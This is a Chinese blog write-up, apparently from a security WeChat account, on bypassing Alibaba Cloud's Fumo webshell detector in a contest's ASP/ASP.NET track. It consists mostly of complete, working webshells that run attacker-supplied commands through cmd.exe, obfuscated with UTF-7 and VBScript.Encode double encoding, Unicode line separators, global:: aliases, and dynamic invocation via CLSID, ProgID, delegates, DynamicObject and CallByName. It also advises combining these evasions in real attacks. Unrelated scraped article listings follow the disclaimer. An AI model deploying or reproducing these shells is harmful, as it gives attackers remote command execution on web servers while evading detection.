前言

24年年底的时候参加了一下阿里云的第四届伏魔挑战赛,本着学习一下.NET的想法玩的ASP/ASP.NET赛道。但是当时一直没空,等到活动最后一天才抽出时间测试。一个晚上提交了15个绕过样本,重复了12个太惨了这就是最后一天提交的结果,后来看榜单应该都是重复的Ivan1ee师傅的,专门研究.NET的还是强。第三届我也玩了提交17个样本重复5个通过12个,这篇文章挑部分绕过样本进行思路分析。

ASP

asp样本分享下面两个,绕过思路为前导零、双重编码。

前导零

asp支持将代码utf-7编码,于是构造出下面shell样本进行测试。

<%@codepage=65000%>
<%
+AGUAdgBhAGwAKAByAGUAcQB1AGUAcwB0ACgAIgBrAGkAbABsAGUAcgAiACkAKQ-
%>

可能因为是很久以前的公开手法直接被杀,注意到codepage=65000推测这里65000可能采用数字类型进行解析,在某些语言里有一种技巧在解析数字时会丢弃前导零。比如065000会被解析为65000。于是将codepage写为065000发现也可以成功解析,多次尝试以后发现最多写成0000065000可以识别成功。猜测原因是Long类型最长为十位数字,在解析之前对大于十位的数字直接报错或者不解析。于是提交如下样本成功绕过伏魔引擎。

<%@codepage=0000065000%>
<%
+AGUAdgBhAGwAKAByAGUAcQB1AGUAcwB0ACgAIgBrAGkAbABsAGUAcgAiACkAKQ-
%>

双重编码

asp支持将代码VBScript.Encode编码。

<%@ LANGUAGE = "VBScript.Encode"%>
<%
#@~^LwAAAA==]A/2KxU+R1W93wmon'+*TT8)27CVvD+$;n/D`r3rVsnMJb#wg8AAA==^#~@
%>

直接提交依然被杀。注意到VBScript.Encodeutf-7编码不是同一个配置项,于是想到能不能使用双重编码绕过,测试以后发现可以也能够被正确解析。绕过样本如下先使用VBScript.Encode编码内容再使用utf-7编码即可。

<%@ LANGUAGE = "VBScript.Encode" codepage=65000%>
<%
+ACM-+AEA-+AH4-+AF4-LwAAAA+AD0-+AD0-+AF0-A/2KxU+-R1W93wmon'+-+ACo-TT8)27CVvD+-+ACQ-+ADs-n/D+AGA-r3rVsnMJb+ACM-wg8AAA+AD0-+AD0-+AF4-+ACM-+AH4-+AEA-
%>

ASP.NET

aspx的样本第三届的时候比较容易绕过,有很多污点源都没打标这类就不写了。主要写两类特殊语法、危险方法替换。

特殊语法

以前看别人绕jsp学到的使用注释//\u000a换行进行来绕过

<%@ Page Language="Jscript"%>
<%
var p = eval("//\u000a\u0052\u0065\u0071\u0075\u0065\u0073\u0074\u002E\u0049\u0074\u0065\u006D[\"g\"]")
eval(p,"unsafe");
%>

测试发现可以解析但是伏魔引擎检测为webshell查阅资料发现使用\u2029段落分隔符也可以起到换行的作用。测试可以解析并绕过。

<%@ Page Language="Jscript"%>
<%
var p = eval("//\u2029\u0052\u0065\u0071\u0075\u0065\u0073\u0074\u002E\u0049\u0074\u0065\u006D[\"g\"]")
eval(p,"unsafe");
%>

aspx支持下面这种语法,将多个<%...%>之间的代码相加。

<%@ Page Language="Jscript"%>
<%
var p = eval(""%><%+"\u0052\u0065\u0071\u0075\u0065\u0073\u0074\u002E\u0049\u0074\u0065\u006D[\"g\"]")
eval(p,"unsafe");
%>

测试发现无法绕过,在%><%添加换行成功绕过。

<%@ Page Language="Jscript"%>
<%
var p = eval(""%>
<%+"\u0052\u0065\u0071\u0075\u0065\u0073\u0074\u002E\u0049\u0074\u0065\u006D[\"g\"]")
eval(p,"unsafe");
%>

global::C#中的全局命名空间别名,它允许你明确地引用全局命名空间中的类型,避免命名冲突。所以可以写出下面的绕过样本。

<%@ Page Language="c#"%>
<%
global::System.Diagnostics.ProcessStartInfo psi = new global::System.Diagnostics.ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c " + Request.Params.Get("g");
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
global::System.Diagnostics.Process p = global::System.Diagnostics.Process.Start(psi);
System.IO.StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
Response.Write(s);
%>

危险方法替换

我们先写出一个经典的aspx调用WScript.Shell执行命令的webshell来进行变换。

<%@ Page Language="Jscript"%>
<%
var c=System.Web.HttpContext.Current;
var Request=c.Request;
var Response=c.Response;
var command = Request.Item['g'];
var r = new ActiveXObject("WScript.Shell").Exec("cmd /c "+command);
var OutStream = r.StdOut;
var Str = "";
while (!OutStream.atEndOfStream) {
Str = Str + OutStream.readAll();
}
Response.Write("<pre>"+Str+"</pre>");
%>

这个样本毫无疑问被杀,经过FUZZ发现关键点在于ActiveXObjectWScript.Shell不能同时出现。于是写出5种不同的绕过方式。

使用unescape("%57%53%63%72%69%70%74%2e%53%68%65%6c%6c")代替WScript.Shell

<%@ Page Language="Jscript"%>
<%
var c=System.Web.HttpContext.Current;
var Request=c.Request;
var Response=c.Response;
var command = Request.Item['g'];
var r = new ActiveXObject(unescape("%57%53%63%72%69%70%74%2e%53%68%65%6c%6c")).Exec("cmd /c "+command);
var OutStream = r.StdOut;
var Str = "";
while (!OutStream.atEndOfStream) {
Str = Str + OutStream.readAll();
}
Response.Write("<pre>"+Str+"</pre>");
%>

Jscript中使用GetObject创建WScript.Shell对象

<%@ Page Language="Jscript"%>
<%
var c=System.Web.HttpContext.Current;
var Request=c.Request;
var Response=c.Response;
var command = Request.Item['g'];
var r = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8").Exec("cmd /c "+command);
var OutStream = r.StdOut;
var Str = "";
while (!OutStream.atEndOfStream) { Str = Str + OutStream.readAll(); }
Response.Write("<pre>"+Str+"</pre>");
%>

C#中使用GetTypeFromCLSID来创建WScript.Shell对象

<%@ Page Language="C#" %>
<%
string command = Request.QueryString["cmd"];
if (!string.IsNullOrEmpty(command))
{
try
{
// 使用 System.Type.GetTypeFromCLSID 来创建 WScript.Shell 对象
Type shellType = Type.GetTypeFromCLSID(new Guid("72C24DD5-D70A-438B-8A42-98424B88AFB8"));
dynamic shell = Activator.CreateInstance(shellType);
dynamic exec = shell.Exec("cmd.exe /c " + command);
dynamic stdout = exec.StdOut;
string output = "";
while (!stdout.AtEndOfStream)
{
output += stdout.ReadLine() + "\n";
}
Response.Write(output);
}
catch (Exception ex)
{
Response.Write($"Error: {Server.HtmlEncode(ex.Message)}");
}
}
else
{
Response.Write("No command");
}
%>

C#中使用GetTypeFromProgID来创建WScript.Shell对象

<%@ Page Language="C#" %>
<%
string command = Request.QueryString["cmd"];
if (!string.IsNullOrEmpty(command))
{
try
{
// 使用 GetTypeFromProgID 创建 WScript.Shell 对象
Type shellType = Type.GetTypeFromProgID("WScript.Shell");
dynamic shell = Activator.CreateInstance(shellType);
dynamic exec = shell.Exec("cmd.exe /c " + command);
dynamic stdout = exec.StdOut;
string output = "";
while (!stdout.AtEndOfStream)
{
output += stdout.ReadLine() + "\n";
} Response.Write(output);
}
catch (Exception ex)
{
Response.Write($"Error: {Server.HtmlEncode(ex.Message)}");
}
}
else
{
Response.Write("No command");
}
%>

VB中使用CreateObject来创建WScript.Shell对象

<%@ Page Language="VB" %>
<%
Dim command As String = Request.QueryString("cmd")
If Not String.IsNullOrEmpty(command) Then
Try
' 使用CreateObject创建 WScript.Shell 对象
Dim shell As Object = CreateObject("WScript.Shell")
Dim exec As Object = shell.Exec("cmd.exe /c " & command)
Dim stdout As Object = exec.StdOut
Dim output As String = ""
While Not stdout.AtEndOfStream
output &= stdout.ReadLine() & vbCrLf
End While
Response.Write(output)
Catch ex As Exception
Response.Write("Error: " & ex.Message)
End Try
Else
Response.Write("No command")
End If
%>

我们再写出一个使用System.Diagnostics.Process.Start来执行命令的经典样本。

<%@ Page Language="c#"%>
<%
System.Diagnostics.ProcessStartInfo psi = new System.Diagnostics.ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c " + Request.Params.Get("g");
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
System.Diagnostics.Process p = System.Diagnostics.Process.Start(psi);
System.IO.StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
Response.Write(s);
%>

进过测试发现主要就是对调用System.Diagnostics.Process.Start方法进行了检测,传统思路就是通过反射来获取Start方法然后执行。进过测试对反射检测较为严格,于是转为寻找可以实现类似反射效果的方法。找到4种类似方法可以绕过。

JScript中使用Function.apply动态调用Start方法

<%@ Page Language="JScript" %>
<%
var userCommand = Request.Params["g"];
if (userCommand != null && userCommand != "") {
try {
var psi = new System.Diagnostics.ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c " + userCommand;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
var process = new System.Diagnostics.Process();
process.StartInfo = psi;
// 使用 Function.apply 动态调用 Start 方法
process.Start.apply(process, []);
var output = process.StandardOutput.ReadToEnd();
process.WaitForExit();
Response.Write(Server.HtmlEncode(output));
} catch (ex) {
Response.Write("Error: " + Server.HtmlEncode(ex.Message));
}
} else {
Response.Write("No command");
}
%>

VB中委托绑定Start方法

<%@ Page Language="VB" %>
<%
Dim userCommand As String = Request.Params.Get("g")
If Not String.IsNullOrEmpty(userCommand) Then
Try
Dim psi As New System.Diagnostics.ProcessStartInfo()
psi.FileName = "cmd.exe"
psi.Arguments = "/c " & userCommand
psi.RedirectStandardOutput = True
psi.UseShellExecute = False
Dim process As New System.Diagnostics.Process()
process.StartInfo = psi
' 使用委托绑定 Process.Start 方法
Dim startMethod As StartDelegate = AddressOf process.Start
startMethod.Invoke()
Dim output As String = process.StandardOutput.ReadToEnd()
process.WaitForExit()
Response.Write(Server.HtmlEncode(output))
Catch ex As Exception
Response.Write("Error: " & Server.HtmlEncode(ex.Message))
End Try
Else
Response.Write("No command")
End If
%>
<script runat="server">
Public Delegate Function StartDelegate() As Boolean
</script>

VB中使用DynamicObject动态调用Start方法

<%@ Page Language="VB" %>
<%@ Import Namespace="System.Dynamic" %>
<%
Dim userCommand As String = Request.Params.Get("g")
If Not String.IsNullOrEmpty(userCommand) Then
Try
Dim psi As New System.Diagnostics.ProcessStartInfo()
psi.FileName = "cmd.exe"
psi.Arguments = "/c " & userCommand
psi.RedirectStandardOutput = True
psi.UseShellExecute = False
Dim process As New System.Diagnostics.Process()
process.StartInfo = psi
' 使用 DynamicProcess 动态调用 Start 方法
Dim dynamicProcess As Object = New DynamicProcess(process)
dynamicProcess.Start()
Dim output As String = process.StandardOutput.ReadToEnd()
process.WaitForExit()
Response.Write(Server.HtmlEncode(output))
Catch ex As Exception
Response.Write("Error: " & Server.HtmlEncode(ex.Message))
End Try
Else
Response.Write("No command")
End If
%>
<script runat="server">
Public Class DynamicProcess
Inherits DynamicObject
Private ReadOnly _process As System.Diagnostics.Process
Public Sub New(process As System.Diagnostics.Process)
_process = process
End Sub
Public Overrides Function TryInvokeMember(binder As InvokeMemberBinder, args() As Object, ByRef result As Object) As Boolean
If binder.Name = "Start" Then
result = _process.Start()
Return True
End If
Return MyBase.TryInvokeMember(binder, args, result)
End Function
End Class
</script>

VB中使用CallByName动态调用Start方法

<%@ Page Language="VB" %>
<%
Dim userCommand As String = Request.Params.Get("g")
If Not String.IsNullOrEmpty(userCommand) Then
Try
Dim psi As New System.Diagnostics.ProcessStartInfo()
psi.FileName = "cmd.exe"
psi.Arguments = "/c " & userCommand
psi.RedirectStandardOutput = True
psi.UseShellExecute = False
Dim process As New System.Diagnostics.Process()
process.StartInfo = psi
' 使用 CallByName 动态调用 Process.Start
CallByName(process, "Start", CallType.Method)
Dim output As String = process.StandardOutput.ReadToEnd()
process.WaitForExit()
Response.Write(Server.HtmlEncode(output))
Catch ex As Exception
Response.Write("Error: " & Server.HtmlEncode(ex.Message))
End Try
Else
Response.Write("No command")
End If
%>

总结

相对于jsp/php样本而言asp/asp.net样本的绕过还是相对比较简单,本文仅对提交的部分样本进行分析,主要绕过技术总结如下。

  1. 编码混淆:多层编码增加检测复杂度
  2. 语法变形:利用语言特性实现功能等价替换
  3. 反射替代:通过委托、动态调用等方式避开反射检测
  4. 跨语言技巧:在 C#、VB、JScript 间灵活运用不同特性

asp.net支持多种语言如VB/C#/JScript这也变相增加了webshell的查杀难度。因为仅仅是测试引擎的绕过,实战中还需使用上述手法结合Unicode编码、特殊Unicode字符、命名空间别名、反射、注释等手段进行webshell混淆以达到最佳效果。

如需上述样本进行测试研究可关注本公众号漫漫安全路,回复aspx得到下载地址。


本文仅供安全研究和学习使用,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用本人负责,公众号及文章作者不为此承担任何责任。

伏魔挑战赛-ASP/ASP.NET赛道10+绕过样本思路分享的更多相关文章

  1. asp.net调用前台js调用后台代码分享

    asp.net调用前台js调用后台代码分享 C#前台js调用后台代码前台js<script type="text/javascript" language="jav ...

  2. ASP,ASP.net,JSP语法、内置对象对比

    1 各自的HelloWord版本 1.1 ASP <%  Response.Write("hello asp") %> 文件名为test.asp. 1.2 ASP.ne ...

  3. ASP/ASP.NET/VB6文件上传

    1. asp asp 上传文件真的蛋疼,很麻烦,有时候就用第三方组件,或者比较复杂的写法来实现无组件上传. 测试OK的一个叫风声无组件上传类 V2.1 [Fonshen UpLoadClass Ver ...

  4. CTF必备技能丨Linux Pwn入门教程——stack canary与绕过的思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  5. ubuntu14.10建立热点wifi分享给手机

    http://jingyan.baidu.com/article/363872ecd8f35d6e4ba16f97.html ubuntu14.10建立热点wifi分享给手机

  6. ASP.NET-FineUI开发实践-10

    嵌套Grid,光棍月大放送,不藏着掖着.实在写的不好,没脸藏啊~只考虑显示排序修改什么的都不管! 话说三石官网加实例了,http://fineui.com/demo/#/demo/grid/grid_ ...

  7. ASP: VS2015 + IIS Express 10 学习笔记

    首先搞清楚 ASP 与 ASP.NET 的区别(.asp与.aspx). https://msdn.microsoft.com/en-us/library/ms973813.aspx 环境配置: ht ...

  8. ASP.NET MVC 入门10、Action Filter 与 内置的Filter实现(实例-防盗链)

    于ASP.NET MVC Preview5. 前一篇中我们已经了解了Action Filter 与 内置的Filter实现,现在我们就来写一个实例.就写一个防盗链的Filter吧. 首先继承自Filt ...

  9. [转]ASP.NET MVC 入门10、Action Filter 与 内置的Filter实现(实例-防盗链)

    前一篇中我们已经了解了Action Filter 与 内置的Filter实现,现在我们就来写一个实例.就写一个防盗链的Filter吧. 首先继承自FilterAttribute类同时实现IAction ...

  10. asp.net core 系列 10 配置configuration (上)

    一.  ASP.NET Core 中的配置概述 ASP.NET Core 中的应用配置是基于键值对,由configuration 程序提供. configuration  将从各种配置源提供程序操作键 ...

随机推荐

  1. 使用hive数据查询小结

    业务背景: 公司大数据查询需要通过hive查询和分析一些数据 产品提出业务分析需求: 我的处理方式: 接到需求就想怎么写SQL语句,然后不断调整SQL语句进行验证,最后这个需求写了170行的SQL语句 ...

  2. Android stuidio 上传项目代码至码云

    这居然是我的第一篇博客,如何用Android studio上传项目至码云呢?话不多说直接开始,我找了很多方法碰壁很多最终看到了这篇博客:https://blog.csdn.net/shuijianba ...

  3. js代码修改react框架的input的值-2025年6月

    需求,在1688商家工作台中的发布助手页面中,设置了模版依旧会有些输入框内容要自己填写,太麻烦了. 比如下面中的可售数量 想着自己写了个脚本方便自己填充数据. 试着尝试直接修改input标签的valu ...

  4. 企业如何通过数据资产化,激活“数据要素x”,乘出新质生产力

    放眼全球,数据作为一种新兴生产要素,在全球经贸活动中扮演着至关重要的角色,驱动着数字经济的蓬勃兴起.据前瞻预测,至2025年,全球数据流动对整体经济增长的贡献预估将达到惊人的11万亿美元. 近几年国家 ...

  5. C# WinForm 窗体阴影

    https://www.cnblogs.com/mqxs/p/9466218.html public class FormShadow : Form { public FormShadow() { I ...

  6. JS ES6数组中删除指定元素

    https://www.cnblogs.com/linsx/p/8331623.html arr.splice(arr.findIndex(item => item.id === data.id ...

  7. java 生产者消费者模式 使用标志位进行判断

    简介 RT code package com.kuang; /** * Created by lee on 2021/3/30. */ public class TestPC2 { public st ...

  8. opengl 学习 之 17 lesson

    opengl 学习 之 17 lesson 简介 这个教程有点超出了opengl的范围了,但是解决了一个非常公共的问题:如何去表示旋转? 在第3个教程,我们学会了矩阵可以表示一个点绕着一个特定的轴旋转 ...

  9. P9713 「QFOI R1」抱抱 题解

    P9713 「QFOI R1」抱抱 题解 Sol 前置知识:长方体体积公式:\(V = abh\). 我们知道,切割掉 \(x \le k\) 的部分就是把 \(a\) 减去 \(k\),切割掉 \( ...

  10. Management-DecisionMaking-Leadership:{Rational,BoundedRational,Intuitive,EvidenceBasedManagerial,Crowdsourcing} D.M.

    Rational VS Intuitive VS EBM VS CS: 例如:当经济不景气时期,亲戚聚会时,面对一落难亲戚, 尽管风传外面有破产负债,但确实没害过亲朋好友做过,怎么决策: Intuit ...